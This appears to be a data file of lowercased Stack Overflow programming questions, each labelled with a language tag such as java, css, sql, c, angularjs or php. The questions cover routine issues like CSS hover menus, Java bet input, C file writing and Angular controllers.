"css: background color on element with automatic width  <strong>the problem domain.</strong> i would like to style a html list using css. the list will serve as a navigation bar and always be on screen. to avoid wasting screen space  the menu should by default be in a collapsed state and only expand on mouse-over.    <strong>expected behaviour.</strong>  if not hovered-over  the navigation should only display the list’s numbering. if the user hovers over one list item  it should expand to show that item’s text. the navigation bar’s background color should extend to the end of that text  but only around the item which is hovered over. that is  the item should “pop out” of the navigation.    <strong>actual behaviour.</strong> i cannot find a way to make the background color work in this scenario. if the list item’s width is set to auto  then the text appears as it should  but the background color doesn’t extend with the list item. if i set a fixed width for the list item (l. 33 in the fiddle)  e.g. 300px  then the background color <em>does</em> extend with the text  but i wish to avoid static sizes. why do static widths behave differently from automatic ones     <strong>i’ve tried</strong> fixed positioning of hovered-over list items. that would create the effect i have in mind  but it also has two undesirable side-effects: it removes the automatic numbering from the selected item  and it removes the item from the text flow  which makes the successive items move up in the list. both of them would have to be compensated for manually  which i’d like to avoid.    <strong>jsfiddle and code</strong> this fiddle illustrates the problem: <a href= https://jsfiddle.net/3n8g03y9/  rel= nofollow noreferrer >https://jsfiddle.net/3n8g03y9/</a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body {
   /* for better visibility of white text */
   background-color: #002;
 }
 
 
 /* container div */
 
 #navigation {
   position: fixed;
   font-size: 20pt;
   display: block;
   background-color: #333;
   /* dark grey */
 }
 
 
 /* main topic list */
 
 #navigation&gt;ol {
   box-sizing: border-box;
   list-style-position: inside;
   padding-left: 10px;
   width: 40px;
 }
 
 
 /* main topic entry */
 
 #navigation&gt;ol&gt;li {
   white-space: nowrap;
   background-color: #333;
   #333;
   /* dark grey */
   color: white;
   overflow: hidden;
   /* only show the number until hover */
   width: 30px;
   /* 40px minus the ol’s padding */
 }
 
 
 /* hover over main topic entry */
 
 #navigation&gt;ol&gt;li:hover {
   width: auto;
   overflow: visible;
   ;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= navigation &gt;
   &lt;ol&gt;
     &lt;li&gt; topic 1&lt;/li&gt;
     &lt;li&gt; topic 2&lt;/li&gt;
     &lt;li&gt; topic 3&lt;/li&gt;
     &lt;li&gt; topic 4&lt;/li&gt;
   &lt;/ol&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
asp.net vb.net basic shopping cart function  just wondering the best way to go about this  i am building  a vb.net shopping cart technology  with the basic entities of - user logging in -  going through shopping cart - checkout of shopping cart - displaying items in shopping cart.    is there anything there off the shelf (free) that i can just pick up out there,asp.net
using an object without constructor parameters java  so basically i m creating a betting program where player1  player2  player3 etc. are objects and each have five initialized fields of -1  which means there is no bet  yet.    i m asking the users to input their bet number  (these numbers are integers inside of an array) and they can have up to a maximum of five bets  explaining the five initialized fields of -1.    the problem here is i can t seem to find a way to have certain players only input 1 or 2 bets  while another inputs 4 and another 5 for example. my program forces each user to enter 5 integers even if they refuse to bet 5 times. any way i can make this work     so here s my driver class: (the other parts of it are irrelevant)   <pre><code>system.out.println( wheel : 0-32-15-19-4-21-2-25-17-34-6-27-13-36-11-30-8-23-10-5-24-16-33-1-20-14-31-9-22-18-29-7-28-12-35-3-26 );          system.out.println( dealer…place your bets );          // initializing the six players of the game          player player1 = new player(-1 -1 -1 -1 -1);         system.out.println( player 1:  );             int number1 = keyin.nextint();             int number2 = keyin.nextint();             int number3 = keyin.nextint();             int number4 = keyin.nextint();             int number5 = keyin.nextint();                 system.out.println(  );          player player2 = new player(-1  -1  -1  -1  -1);         system.out.println( player 2:  );             number1 = keyin.nextint();             number2 = keyin.nextint();             number3 = keyin.nextint();             number4 = keyin.nextint();             number5 = keyin.nextint();                 system.out.println(  );          player player3 = new player(-1  -1  -1  -1  -1);         system.out.println( player 3:  );             number1 = keyin.nextint();             number2 = keyin.nextint();             number3 = keyin.nextint();             number4 = keyin.nextint();             number5 = keyin.nextint();                 system.out.println(  );          player player4 = new player(-1  -1  -1  -1  -1);             system.out.println( player 4:  );             number1 = keyin.nextint();             number2 = keyin.nextint();             number3 = keyin.nextint();             number4 = keyin.nextint();             number5 = keyin.nextint();                 system.out.println(  );          player player5 = new player(-1  -1  -1  -1  -1);             system.out.println( player 5:  );             number1 = keyin.nextint();             number2 = keyin.nextint();             number3 = keyin.nextint();             number4 = keyin.nextint();             number5 = keyin.nextint();                 system.out.println(  );          player player6 = new player(-1  -1  -1  -1  -1);             system.out.println( player 6:  );             number1 = keyin.nextint();             number2 = keyin.nextint();             number3 = keyin.nextint();             number4 = keyin.nextint();             number5 = keyin.nextint();                 system.out.println(  ); </code></pre>   and here is my other class for players:   <pre><code>public class player {  int number1; int number2; int number3; int number4; int number5; // constructor for each player at the table public player(int number1  int number2  int number3  int number4  int number5) {      this.number1 = number1;     this.number2 = number2;     this.number3 = number3;     this.number4 = number4;     this.number5 = number5; </code></pre>   the number1  number2 ... represent the five bets.    also to clarify  the user can t be asked to input a certain string  int  char whatsoever to let the program know he/she s done inputting their bets. it has to look like this   <pre><code>player 1: 12 13 15 player 2: 0 5 4 </code></pre>,java
cannot insert the value null into column  id   table  xxx ; column does not allow nulls. insert fails  i am getting an insert error:    <blockquote>    cannot insert the value null into column  id   table  db.dbo.table ;   column does not allow nulls. insert fails  </blockquote>   .    i have checked the data and the column i am inserting into  id  does not have any nulls.  any suggestions,sql
.net based class library - many ways to do a specific task - what are the top x vs y articles and books  very few books and articles ever go into detail about a) why multiple methods are provided to complete a specific task in a specific scenario and b) what considerations a developer should take when choosing between methods.    my specific case in point is the simple opening of a text file (classic first section of any io chapter).  most books/articles just say  hey  here s how to open a text file: streamreader with file path. tada and end of section!     some do at least list the fact that there are multiple classes that allow you to do this e.g:   <ul> <li>file class</li> <li>fileinfo class</li> <li>filestream class</li> <li>streamreader class</li> <li>etc  etc  etc</li> </ul>   fewer discuss that there are even more overloads so you can use each class in several different ways.    even fewer even try to enter into any discussion about how to select the best method for the task at hand.  (some of course do and these are the ones that usually end up in the top three when someone posts a poll-like question about  best  books.)    this lack of discussion drives me mad.  i feel like i should toss a coin.    this question has the joint purposes of:   <ul> <li>finding out if anyone thinks this is a worthwhile topic in the first place</li> <li>offering people an opportunity to list any interesting articles or books that specifically go into these kinds of discussions</li> </ul>   i ve made this a wiki because other similar questions were made into wikis.  and if people feel this question has no merit  i apologize and feel free to vote it closed.    <strong>another example</strong>    i am currently reading about binarywriter and binaryreader.  the last 20 articles i have hit using google and at least 5 books on o reilly safari have shown me how to write a single integer and read it back.  a couple included an example of how to use writestring and readstring.  exactly one let me know that writestring() and readstring() use a special encdoding meaning if you do writestring() and readchar() you get a prefix.  there are lots of ways to use these classes.  why do hardly any articles discuss this     <strong>one more</strong>    another example of what i mean is when a book or article lists class members and descriptions word for word from msdn without adding any value.  i do not need a list of class members because i can get that from msdn.  from an author  i need experience  real world knowledge i.e. stuff that will expand me as a developer.  not stuff i can look up in five seconds.  all the member lists and simple i-don t-do-anything-useful examples in the world aren t going to really help anyone who wants to learn their stuff.    <strong>last one - i promise</strong>    just reading about stringwriter and stringreader.  same thing.  lots of articles and books giving simple i-don t-do-anything-useful examples.  some at least say something vague like i may want to use stringwriter if i want to write characters to an underlying buffer.  how would i know if i want to do that   what real world scenarios would require it   i could go on all night.    <strong>ok so i lied...</strong>    <a href= https://stackoverflow.com/questions/668361/fastest-implementation-of-a-true-random-number-generator-in-c >this question</a> has answers from merhdad and jalf that both explain how you would choose between two methods of generating a random number and demonstrates (i think) the kind of information i am talking about.  jalf says  something along the lines of  in most cases use option a. but in this specific case when you are trying to achieve result x  use option b. and by the way  this will have negative effect m.     <strong>x vs y articles</strong>    i figured out i can get what i want by searching for x vs y articles e.g. <a href= http://www.aspfree.com/c/a/c-sharp/a-look-at-c-sharp-directory-and-directoryinfo-classes/  rel= nofollow noreferrer >this one</a> that discusses how to choose between the directory and directoryinfo classes (and file and fileinfo classes).      so now this question is:    can you list any useful x vs y articles,.net
formatting the output from a text file - java  how can i change the code so that it prints out like the way i want it to be printed out  i want the usernamegenerator to be printed out first  with an arrow (->) in front of it  and the personname to be displayed with open and close square brackets ([]) beside it. i also want to remove the commas at the end. i ve done a bit of it already as you can see below:     code that needs changing:   <pre><code>set&lt;string&gt; newstrset = new hashset&lt;&gt;(); for(int i = 0; i &lt; personfile.size(); i++) {     string[] regionsplit = personfile.get(i).getusernamegenerator().split(    );     for(int j = 0; j &lt; regionsplit.length; j++) {     newstrset.add(regionsplit[j]);     } }  for (string p: newstrset) {     system.out.printf( %s -&gt; [   p);     for (codes2 s: personfile) {         if (s.getusernamegenerator().contains(p)) {             system.out.printf( %s     s.getpersonname());         }     }       system.out.println( ] ); } </code></pre>   full code:   <pre><code>import java.util.*; import java.io.*;  public class codes {     public static void main(string[] args) {          list&lt;codes2&gt; personfile = new arraylist&lt;&gt;();          try {                bufferedreader br = new bufferedreader(new filereader( person-data.txt ));             string fileread = br.readline();             while (fileread != null) {                 string[] persondata = fileread.split( : );                                 string personname = persondata[0];                 string usernamegenerator = persondata[1];                                 codes2 personobj = new codes2(personname  usernamegenerator);                                personfile.add(personobj);                 fileread = br.readline();             }             br.close();         }             catch (filenotfoundexception ex) {                         system.out.println( file not found! );         }           set&lt;string&gt; newstrset = new hashset&lt;&gt;();         for(int i = 0; i &lt; personfile.size(); i++) {             string[] regionsplit = personfile.get(i).getusernamegenerator().split(    );             for(int j = 0; j &lt; regionsplit.length; j++) {                 newstrset.add(regionsplit[j]);             }         }          for (string p: newstrset) {             system.out.printf( %s -&gt; [   p);             for (codes2 s: personfile) {             if (s.getusernamegenerator().contains(p)) {                 system.out.printf( %s     s.getpersonname());             }         }           system.out.println( ] );     }        } </code></pre>   java class:   <pre><code>public class codes2 implements comparable&lt;codes2&gt; {      private string personname;     private string usernamegenerator;      public codes2(string personname  string usernamegenerator) {         this.personname = personname;         this.usernamegenerator = usernamegenerator;     }      public string getpersonname() {         return personname;     }      public string getusernamegenerator() {         return usernamegenerator;     }      @override     public int compareto(codes2 o) {         return getusernamegenerator().compareto(o.getusernamegenerator());     }      public int compare(object locr1  object locr2) {                         return ((codes2)locr1).usernamegenerator                                         .compareto(((codes2)locr2).usernamegenerator);                 } } </code></pre>   output:   <pre><code>dompteuse -&gt; [imran sullivan  ] deservedness -&gt; [eadie jefferson  ] ostracize -&gt; [eadie jefferson  ] abattoir -&gt; [angel whitehouse  ] choreography -&gt; [imran sullivan  taylor vargas  priya oliver  ] </code></pre>   how i want the output to look like:   <pre><code>dompteuse -&gt; [imran sullivan] deservedness -&gt; [eadie jefferson] ostracize -&gt; [eadie jefferson] abattoir -&gt; [angel whitehouse] choreography -&gt; [imran sullivan  taylor vargas  priya oliver] </code></pre>,java
can we develop application in ios which can enable vibrate when i touch to screen like in samsung   a very accurate way to transfer touch motion from the touchscreen of the smartphone to the vibrator.    i simple example is this app on the samsung galaxy: <a href= http://i1.wp.com/techsplurge.com/wp-content/uploads/2012/05/galaxy-s3-tips_eee3/custom-vibration.jpg  rel= nofollow >http://i1.wp.com/techsplurge.com/wp-content/uploads/2012/05/galaxy-s3-tips_eee3/custom-vibration.jpg</a>    if you think it can poassible please help me to know the library and way to do this application.,ios
how do i create a horizontal menu in a cgi perl program   i have a cgi page <code>login.cgi</code> with a form where i need to enter the valid password and it would then redirect to another page called <code>main.cgi</code>. in this page i want a <strong>horizontal menu</strong> with <em>userslist</em>  <em>logs</em>  <em>logout</em> etc. like the menu on this page with <em>questions</em>  <em>tags</em>  <em>users</em> etc. when i point the mouse on it then it should give the list of users like it gives in a dropdown list when we click it.    i am using apache 2.2  cgi 1.1 and activeperl and i am using a sqlite db on windows xp platform. i am new to this cgi perl programming so please do help me out  provide me any links which might help me  or any websites.,html
putc in c programming in files  im just creating my own library on file handling to make it more flexible but i got stucked up at these point watch these below program   <pre><code>int filewrite(char *filename unsigned char number) {     file *dill;      if((dill=fopen(filename  r ))==0)         return(0);// error no such file exists  returns 0     else     {          if(number==0)         {             dill=fopen(filename  w );              while(number!= x )             {                 number=getche();                 putc(number dill);             }         }         else         {             dill=fopen(filename  a+ );              while(number!= x )             {                 number=getche();                 putc(number dill);             }         }     } } </code></pre>   for instance i made the condition not equal to x so if i enter x letter it gets terminated   but i want that to be used too.but what is the condition to be put to use all letters numbers and special symbols when we are writing into a file becuase if i hit enter then it goes to next line but its not terminating and i want to use enter too but how to say that this is the eof using putc   help me guys,c
sql joins over more than two tables  i have 4 tables:   <ul> <li>sales</li> <li>products</li> <li>vender_info</li> <li>venders</li> </ul>   question is: display list of product_id whose vender and customer is different.    please solve this question.    <a href= https://i.stack.imgur.com/sans9.jpg  rel= nofollow noreferrer >tables</a>,sql
context of self  when i see a  self  automatically to think of static methods. lately i have been pointed out that self depends on the context. just like  parent   which can also call static methods. consider this example:   <pre><code>error_reporting(-1);  class a {     public $var = 1;      public function __construct($n)     {         $this-&gt;var = $n;          self::foo();     }      public function foo()     {         echo $this-&gt;var;     } }  $obj = new a(5); </code></pre>   operate without errors and within the method foo $ this is available. someone can tell me some guide that explains in detail how the calls are resolved by self and parent,php
angular: when and why do we need to escape with &amp;gt; and assign with &quot;&quot;   when and why do we need to escape with <code>&amp;amp;gt;</code> and assign with <code>&amp;quot;&amp;quot;</code> <br> why is image initiated with escaped quotes <code>$scope.image = &amp;quot;&amp;quot;</code>    <pre><code> function carouselcontroller($scope  $timeout) {   $scope.images = [];   $scope.image = &amp;quot;&amp;quot;   $scope.index = 0;    $scope.setimages = function(images) {   $scope.images = images;   $scope.image = images[0];   $scope.index = 0;  };  $scope.nextimage = function() { $scope.index = ($scope.index + 1) % $scope.images.length; $scope.image = $scope.images[$scope.index]; };  $scope.previmage = function() { $scope.index = ($scope.index - 1 &amp;amp;gt;= 0   $scope.index - 1 : $scope.images.length    - 1); $scope.image = $scope.images[$scope.index]; };  var nextimagetimeout = function() { $scope.nextimage(); $timeout(nextimagetimeout  5 * 1000); };   $timeout(nextimagetimeout  5 * 1000); } </code></pre>   src:<a href= http://thecodebarbarian.wordpress.com/  rel= nofollow >excellent intro to directives</a>,angularjs
erratic timing results from mach_absolute_time()  i m trying to optimize a function (an fft) on ios  and i ve set up a test program to time its execution over several hundred calls.  i m using mach_absolute_time() before and after the function call to time it.  i m doing the tests on an ipod touch 4th generation running ios 6.    most of the timing results are roughly consistent with each other  but occasionally one run will take much longer than the others (as much as 100x longer).      i m pretty certain this has nothing to do with my actual function.  each run has the same input data  and is a purely numerical calculation (i.e. there are no system calls or memory allocations).  i can also reproduce this if i replace the fft with an otherwise empty for loop.    has anyone else noticed anything like this     my current guess is that my app s thread is somehow being interrupted by the os.  if so  is there any way to prevent this from happening   (this is not an app that will be released on the app store  so non-public apis would be ok for this.)    i no longer have an ios 5.x device  but i m pretty sure this was not happening prior to the update to ios 6.    edit: here s a simpler way to reproduce:   <pre><code>for (int i = 0; i &lt; 1000; ++i) {                                              uint64_t start = mach_absolute_time();     for (int j = 0; j &lt; 1000000; ++j);        uint64_t stop = mach_absolute_time();      printf( %llu\n   stop-start);          }                                          </code></pre>   compile this in debug (so the for loop is not optimized away) and run; most of the values are around 220000  but occasionally a value is 10 times larger or more.,ios
can i access the files i create with usb  i m lost here.    i create files using this (stripped) code :   <pre><code>file dir = getbasecontext().getdir(dirpath  mode_world_writeable); try { file file = new file(dir  filename); fileoutputstream fous = new fileoutputstream(file); fous.write(data); fous.flush(); fous.close(); long l = file.length(); log.i( ppcameraactivity    file size :   + l); } catch (ioexception e) { e.printstacktrace(); toast.maketext(getbasecontext()   error while trying to write photo file    toast.length_long).show(); } </code></pre>   i can verify with logcat that my file seems to be created (it has a not null lenght). but i cannot see it when i connect my android device to my pc. so... where is my file   is it hidden   erased      edit : i m now trying to write on the sdcard specifically  using this :   <pre><code>file root = environment.getexternalstoragedirectory(); file jpegfile = new file(root.getabsolutepath() +  /myapplication/  + filepath);  try { jpegfile.mkdirs();  fileoutputstream fous = new fileoutputstream(jpegfile); fous.write(data); fous.flush(); fous.close(); log.i( ppcameraactivity    file written :   + jpegfile.getabsolutepath()); toast.maketext(getbasecontext()   file written :   + jpegfile.getabsolutepath()  toast.length_long).show(); long l = jpegfile.length(); log.i( ppcameraactivity    file size :   + l); } catch (ioexception e) { e.printstacktrace(); toast.maketext(getbasecontext()   error while trying to write photo file   toast.length_long).show(); } </code></pre>   but i get a filenotfoundexception on the fileoutputstream creation...,android
referenced integer object not incremented  i m developing an java application and now i noted an a strange behaviour that confused me. i have the following situation:   <pre><code>    integer currentindex = 0;     dosomethings(currentindex);     system.out.println( print  +currentindex);       private void dosomethings(integer currentindex){         //do other things and update my current index         currentindex++;       } </code></pre>   but i get always 0 like value. i remember that the objects are passed like reference in java  while the primitive types like copy. why do i get 0 in this case,java
write a python program that repeatedly asks the user to input coin values until the total amount matches a target value  however  i realized that i don t actually know how to do this myself without examining every possible combination of coins. there has to be a better way of solving this problem  but i don t know what the generic name for this type of algorithm would be called  and i can t figure out a way to simplify it beyond looking at every solution.    i was wondering if anybody could point me in the right direction  or offer up an algorithm that s more efficient.,python
stop the page jumping to top when reload  i am designing a website with a sticky menubar. i am trying to make the page stick to the content area when realoaded or when clicked somewhere on the menu bar and it keeps jumping to the top.,javascript
outerwidth and width returns wrong value in firefox relative to chrome  i m trying to get the width of an element using <code>element.outerwidth</code>. when i m using chrome it returns a correct value  but when i m switching to firefox i got a much lower value. in what way does firefox read this element different from chrome     element:   <pre><code>&lt;div class= submit_container &gt;      &lt;input type= submit  value= something  /&gt; &lt;/div&gt; </code></pre>   chrome: 88px<br> firefox: 36px    when i inspect the element using firefox it display the same with as in chrome. (88px),jquery
how to serve content returned from different functions of a controller without redirection  i have a navigation bar with options like add/show.     now  i need different function of same controller be called on click of these and render results without changing the link.    for example:    when the user clicks show  the list should show up that is returned by show function of controller.    when user clicks add  a form should show up  on submit button of which the controller function would be called.     controller:   <pre><code> angular.module( todo   [ ngroute ])  .config([ $resourceprovider   function($resourceprovider) {   // don t strip trailing slashes from calculated urls   $resourceprovider.defaults.striptrailingslashes = false; }]);    .controller( maincontroller   function($scope  $http)  {     $scope.formdata = {};    $scope.howtodo = function() {     // get all and show them     $http.get( /musicians )       .success(function(data) {             //$scope.showlist= true ;             $scope.todos = data;             console.log(data);         })         .error(function(data) {             console.log( error:   + data);         });    }          //get with an id         $scope.getonetodo = function() {         $http.get( /musicians/  + id)             .success(function(data) {                 //$scope.showmusician= true ;                 $scope.todos = data;                       console.log(data);             })             .error(function(data) {                 console.log( error:   + data);             });     };       // send the text to the node api     $scope.createtodo = function() {         $http.post( /musicians   $scope.formdata)             .success(function(data) {                 //$scope.showcreate = true                  $scope.formdata = {}; // clear the form                  $scope.todos = data;                 console.log(data);             })             .error(function(data) {                 console.log( error:   + data);             });     };      // delete    $scope.deletetodo = function(id) {         $http.delete( /musicians/  + id)             .success(function(data) {                 $scope.todos = data;                 console.log(data);             })             .error(function(data) {                 console.log( error:   + data);             });     };      /*     $scope.updatetodo = function(id) {         $http.delete( /musicians  + id)             .success(function(data) {                 $scope.todos = data;                       console.log(data);             })             .error(function(data) {                 console.log( error:   + data);             });     };*/  }); </code></pre>   html:   <pre><code>&lt;!doctype html&gt; &lt;html ng-app= todo &gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;demoapi&lt;/title&gt;     &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;&lt;!-- optimize mobile viewport --&gt;    &lt;link rel= stylesheet  href= http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css &gt; &lt;&lt;script src= //ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js &gt;&lt;/script&gt;&lt;!-- load jquery --&gt;     &lt;script src= //ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.min.js &gt;&lt;/script&gt;&lt;!-- load angular --&gt;     &lt;script src= core.js &gt;&lt;/script&gt;  &lt;!--&lt;link rel= stylesheet  href= ./client/css/styling.css  /&gt;--&gt; &lt;!--&lt;script type= text/javascript  src= /client/public/core.js &gt;&lt;/script&gt;--&gt;     &lt;/head&gt;  &lt;body&gt; &lt;div ng-controller= maincontroller &gt; &lt;div class= navbar navbar-default navbar-static-top  role= navigation &gt;   &lt;div class= navbar-header &gt;     &lt;a class= navbar-brand  href= / &gt;       demp&lt;strong&gt;api&lt;/strong&gt;&lt;/a&gt;   &lt;/div&gt;    &lt;ul class= nav navbar-nav &gt;     &lt;li&gt;&lt;a href= #  ng-click= showtodo() &gt;&lt;strong&gt;show musicians&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a href= #  ng-click= createtodo() &gt;&lt;strong&gt;add musicians&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt;   &lt;/div&gt;   &lt;form name= userform  ng-submit= createtodo()  ng-if=   novalidate&gt;    &lt;div class= row col-lg-offset-3 &gt;       &lt;div class= form-group col-lg-6   ng-class= {  has-error : userform.name.$invalid &amp;&amp; userform.name.$dirty}  &gt;         &lt;label class= control-label &gt;name&lt;/label&gt;         &lt;input type= text  class= form-control  name= name  ng-model= user.name  ng-required= true  ng-minlength= 3  placeholder= name  /&gt;         &lt;span class= error-message  ng-show= userform.name.$dirty         &amp;&amp; userform.name.$error.required &gt;you are required to provide your name&lt;/span&gt;          &lt;span class= error-message  ng-show= userform.name.$dirty         &amp;&amp; userform.name.$error.minlength &gt;your name should contain 3 or more characters&lt;/span&gt;       &lt;/div&gt;       &lt;/div&gt;       &lt;div class= row col-lg-offset-3 &gt;       &lt;div class= form-group col-lg-6  ng-class= {  has-error : userform.band.$invalid &amp;&amp; userform.band.$dirty }  &gt;         &lt;label class= control-label &gt;band&lt;/label&gt;         &lt;input type= text  class= form-control  name= email  ng-model= user.band  ng-required= true  placeholder= your band name  /&gt;         &lt;span class= error-message  ng-show= userform.email.$dirty         &amp;&amp; userform.name.$error.required &gt;you are required to provide your band name &lt;/span&gt;       &lt;/div&gt;       &lt;/div&gt;          &lt;div class= row col-lg-offset-3 &gt;       &lt;div class= form-group col-lg-6  ng-class= {  has-error : userform.instrument.$invalid &amp;&amp; userform.instrument.$dirty }  &gt;         &lt;label class= control-label &gt;instrument&lt;/label&gt;         &lt;input type= text  class= form-control  name= instrument  ng-model= user.instrument  ng-required= true  placeholder= the instrument you play  /&gt;         &lt;span class= error-message  ng-show= userform.instrument.$dirty         &amp;&amp; userform.name.$error.required &gt;you are required the instrument you play &lt;/span&gt;       &lt;/div&gt;       &lt;/div&gt;     &lt;div class= row col-lg-offset-3 &gt;       &lt;button class= btn btn-primary        ng-disabled= userform.$invalid        type= submit &gt;save&lt;/button&gt;        &lt;/div&gt;  &lt;/form&gt;         &lt;/div&gt;       &lt;/body&gt; &lt;/html&gt; </code></pre>   can i please get some direction on this,angularjs
angularjs : how to sum similar variables from multilpe arrays  please see what i need to do at the end of this question.    i have the following relationship between category and products (1-n).     <a href= https://i.stack.imgur.com/793qn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/793qn.png  alt= enter image description here ></a>    this is the html table with the inventory   <pre><code>&lt;table&gt; &lt;thead&gt;     &lt;tr&gt;         &lt;th&gt;#&lt;/th&gt;         &lt;th&gt;category&lt;/th&gt;         &lt;th&gt;products quantity&lt;/th&gt;     &lt;/tr&gt;    &lt;/thead&gt; &lt;tbody&gt;     &lt;tr data-ng-repeat= category in categories  data-ng-repeat= getproductsbycategory(category) &gt;         &lt;td&gt;{{category.name}}&lt;/td&gt;         &lt;td&gt;{{products[category.id] | sumbykey: quantity }}&lt;/td&gt;     &lt;/tr&gt; &lt;/tbody&gt; &lt;tfooter&gt;     &lt;tr&gt;         &lt;td colspan= 2 &gt;total&lt;/td&gt;         &lt;td&gt;&lt;/td&gt;     &lt;/tr&gt; &lt;/footer&gt;    </code></pre>           and this is the result  as you can see i m using the <em> sumbykey </em> filter in order to get the sum of all products by its category    <a href= https://i.stack.imgur.com/wlxbk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wlxbk.png  alt= enter image description here ></a>    the respective function to get all products by its category   <pre><code>$scope.products = []; $scope.getproductsbycategory = function(category){     $http.get( getproductsbycategory/ +category.id)     .success(function (data  status  headers  config) {         $scope.products[category.id] = data;     })     .error(function (data  status  header  config) {         $log.error( error );     }); }; </code></pre>   and the filter to sum all quantities   <pre><code>app.filter( sumbykey   function() {     return function(data  key) {     if (typeof(data) ===  undefined  || typeof(key) ===  undefined ) {         return 0;     }     var sum = 0;     for (var i = data.length - 1; i &gt;= 0; i--) {         sum += parseint(data[i][key]);     }     return sum;     }; }); </code></pre>   <strong>in order to get the total in the inventory table i have been trying to use the same filter (<em>sumbykey</em>) but it doesn t work. any idea to get the respective result </strong>,angularjs
int is changing back to initial state unexpectedly  i have used a debugger on this code and there is a spot in my code where an int changes unexpectedly.  i declare int jpg = 0 near the top.  about 10 lines below that i increment jpg by 1.  the debugger says jpg = 1 at this point. it makes it to the next line  if jpg &lt; 10.  then something weird happens.  after the sprintf function takes place  jpg now equals 0.  why  !!  it s screwing up the rest of my code.  i can t figure out why it is changing jpg back to 0 right here.    thanks for your help  todd   <hr>  <pre><code>file *outptr;  int main(void) {     // open input file      file* image = fopen( card.raw    r );     if (image == null)     {         printf( could not open  does %s exist \n    card.raw );         return 1;     }      // declare a pointer to buffer     byte buffer[512];      // count the number of jpg files and create jpg filename     int jpg = 0;     char filename[7];      // read 512 bytes of the card     while (fread(&amp;buffer  1  512  image) == 512)     {         // check first 4 bytes for jpg header info         if (buffer[0] == 0xff &amp;&amp; buffer[1] == 0xd8 &amp;&amp; buffer[2] == 0xff &amp;&amp; (buffer[3] == 0xe0 || buffer[3] == 0xe1))         {             // increment jpg number and jpg filename             jpg = jpg + 1;              if (jpg &lt; 10)             {                 sprintf(filename   00%d.jpg   jpg);             }             else             {                 sprintf(filename   0%d.jpg   jpg);             }               // check if this is first jpg  close previous jpg file if not              if (jpg != 1)             {                 fclose(outptr);             }              // open output file             file* outptr = fopen(filename   w );             if (outptr == null)             {                 fclose(image);                 fprintf(stderr   could not create %s.\n   filename);                 return 2;             }              // write the 512b of buffer info to jpg file             fwrite(&amp;buffer  1  512  outptr);         }           // not the start of a new jpg file  have we reached a jpg yet           else if (jpg != 0)         {             // write the 512b of buffer info to jpg file             fwrite(&amp;buffer  1  512  outptr);         }           }      // close the files     fclose(image);     fclose(outptr); } </code></pre>,c
how many characters are same in two string  after several searches that did not result  i have come to ask your help. i have a slight problem. i have two string:    <pre><code>string values =  acceikoquy ; string values2 =  achips ; </code></pre>   i would get the same number of characters so here:    <pre><code>3 </code></pre>   do you have any idea how to do that     my code :   <pre><code>string values =  acceikoquy ; string values2 =  achips ;  int test = stringutils.countmatches(values  values2);  system.out.println(test); </code></pre>,java
pointer becomes nothing for no apparent reason  greetings!    i have a simple program in qt on c. there are two pointers to type short  used to read from file and store bits from values read.    sample code:   <pre><code>//(input is a file* which is opened and passed to the function) //(output is also a file* which is also opened and passed to the function)  //1. variables declaration short* sample_buffer; int buffer_size=1; short samples_read; unsigned long value_x=7; short* nzb_buffer; short buffer_position=-1; int i;  //2.memory allocation sample_buffer= malloc(sizeof(short)*buffer_size); nzb_buffer = malloc(sizeof(short)*value_x);  ....  //3. read from infile  one short at time  process and write it to outfile do {      //3.1. read from input file      samples_read = fread(sample_buffer sizeof(short) buffer_size  input);      //3.2. switch position inside nzb_buffer one to the right        //     going back to zero if out of bounds      buffer_position=(buffer_position+1)%value_x;       ....       //3.3. put least significant bit of the just read short into nzb_buffer      nzb_buffer[buffer_position]=sample_buffer[0]%2;       ....       //3.4. write the short we just read from infile to the outfile      for (i=0;i&lt;samples_read;i++)      {          fwrite(sample_buffer sizeof(short) 1  output);      } } while(samples_read==buffer_size); </code></pre>   i ve let unreliant pieces of code out. if you need to see something else please tell me.    problem is  after like 10 or 15 operations of the loop  it crashes with  segmentation fault  signal. it crashes on the fwrite() function.    i debugged and i use watch on sample_buffer. for some reason  on one exact step  the operation nzb_buffer[buffer_position]=sample_buffer[0]%2 makes sample_buffer become 0x0 (i belive  it becomes a null pointer).     this cannot be overflowing on nzb_buffer because buffer_position for that operation is 3 (out of 7 allocated for the particular array in malloc). and since each loop makes one write operation and shifts the carry  the operation of writing into nzb_buffer[3] has already happened before in the loop and did not nullify the pointer that time.    i am totally clueless what may be happening here.  anybody has any ideas what is going on or how do i debug it     thanks in advance!    ps: added comments  what the code does,c
getting the currentday of code to work  i m having some issues with getting days of the week to show.<br> my code is:   <pre><code>public static final int days_in_week = 7 private numberdisplay day public string getcurrentday()  </code></pre>   i m stuck here what would go here to make this work,java
how to echo a array value with single quotes  am trying to echo an array variable with the single quotes around.    the below should echo <code> 09878554 </code> where <code>$dval[ a ]= 09878554 </code>.    this is what am trying to do below:   <pre><code>echo  $dval[ a ] ;  </code></pre>,php
